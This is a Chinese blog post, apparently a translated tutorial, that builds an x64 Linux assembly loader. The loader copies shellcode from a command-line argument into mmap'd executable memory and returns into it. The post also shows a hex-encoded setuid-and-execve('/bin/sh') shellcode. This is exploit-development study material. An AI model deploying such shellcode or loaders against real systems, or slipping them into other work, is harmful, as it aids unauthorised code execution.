盒子
盒子
文章目录
  1. 可执行loader
    1. 命令行参数
    2. 通过mmap()分配可执行内存区域
    3. 拷贝代码到新内存区域
    4. 返回代码
    5. 执行loader
  2. 基于返回的载入器

Shellcode/Loaders

意译:Shellcode/Loaders

shellcode Loader被用在缓冲区溢出或者其它形式的二进制挖掘活动中测试shellcode。最好的方法嘛,构建从命令行参数的用户友好的loader,并且传递给刚分配的可执行内存空间。本文在x86指令集写x64汇编来在linux上构建这么个载入器。

32位的在文末给出

[TOC]

可执行loader

命令行参数

命令行参数入栈的顺序是:第二个参数,第一个参数,参数数目。因此,为了从参数获得shellcode,pop rbx三次。一旦完成,rbx将包含指向shellcode的指针:

BITS 64
global _start
_start:
    pop rbx ;argc
    pop rbx ; 参数列表指针
    pop rbx ; 指向第一个参数的指针

通过mmap()分配可执行内存区域

参考x64 syscall table,自己谷歌就好。

现代操作系统的栈默认并不可执行,但我们成功执行代码需要一个可执行栈。这可以通过mmap系统调用实现。

mmap()的原型是(man mmap):

void *mmap(void *addr, size_t length, int prot, int flags,
                 int fd, off_t offset);

在64位处理器上,函数调用如下:

function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
              ^system          ^arg1  ^arg2  ^arg3  ^arg4  ^arg5 ^arg6
               call #

首先,mmap()的系统调用数(syscall number)放入rax

push 0x9
pop rax

mmap()的第一个参数需要是null,所以xor rdi rdi

xor rdi, rdi

指定缓冲区大小(4096字节或者0x1000字节) ,这个参数传给rsi

push rdi
pop rsi ; rsi = 0
inc rsi ; rsi = 1
shl rsi, 0xc  ; rsi=0x1000

第三个参数prot保存在rdx中,是内核权限标志(读、写、执行或无),对多个标志,它们用按位或方式合在一起,PROT_READ|PROT_WRITE|PROT_EXEC是数字7,所以直接在rdx中放入7就行。

push 0x7
pop rdx

接下来的参数flagprot类似,保存了内存映射标志。本例中设置为MAP_PRIVATE|MAP_ANONYMOUS,其值为数字0x22。存储在r10中。

push 0x22
pop r10

最后两个参数应该为null,放到r8r9

push rdi
push rdi
pop r8
pop r9

万事具备,进行系统调用。

syscall

接下来rax中就包含指向缓冲区的指针,这个指针可以用来把shellcode拷贝进去。

拷贝代码到新内存区域

rsi作为计数器,初始化为0:

inject:
    xor rsi, rsi

rdi设为null,等下要把当前字节和dil(rdi低8位)中的值比较来确定shellcode的结束位置。

push rsi
pop rdi

如果拷贝到达shellcode末尾,则跳到inject_finished

inject_loop:
    cmp [rbx + rsi * 1], dil
    je inject_finished

每个字节从[rbx + rsi]移动到[rax + rsi],通过r10b(r10低八位)。

mov r10b, [rbx+rsi*1]
mov [rax+rsi*1], r10b

rsi作为偏移量和计数器:

inc rsi

继续循环

jmp inject_loop:

inject_finished程序出附上ret操作符(opcode)0xc3

inject_finished:
    mov byte [rax+rsi*1], 0xc3

一般,操作符(opcode)指指令而字节码(bytecode)不仅包含操作符还包含参数,成为操作数(operand)。

返回代码

代码返回而不是跳转或被调用的原因在于,这更充分模拟了类似有漏洞应用在缓冲区溢出时的环境。有效载荷会返回,因此,当shellcode被加载后,它应该返回。

首先调用ret_to_shellcode。这会把exit的地址推入栈顶,于是shellcode结束后返回exit的地址。

call ret_to_shellcode

原始的返回地址被覆盖为为shellcode的地址,并且进入(returned into)

ret_to_shellcode:
    push rax
    ret

当shellcode结束时,将返回到exit函数优雅的退出

exit:
    push 60
    pop rax
    xor rdi, rdi
    syscall

执行loader

编译链接吧

 ~/Work/project/blackhat/shellcode  nasm -felf64 loader64.s -o loader64.o
 ~/Work/project/blackhat/shellcode  ld loader64.o -o loader64
 ~/Work/project/blackhat/shellcode  ./loader64 $(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05")
[reverland@gentoo shellcode]$

这个shellcode来自之前启动一个shell的shellcode,注意提示符。

基于返回的载入器

基于返回的代码也能用载入器测试,而且更小,不需要分配内存。

_start:
    pop rbx
    pop rbx
    pop rsp ; rsp现在指向第一个参数
    ret

只是我觉得,似乎参数位置是不可执行的。关于ROP,以后说吧

最后还有些动态载入和动态socket载入器。当shellcode依赖有漏洞二进制程序上下文时包含一个链接的动态部分,这是啥我现在还不知道。。。。。。

下一篇Dynamic shellcode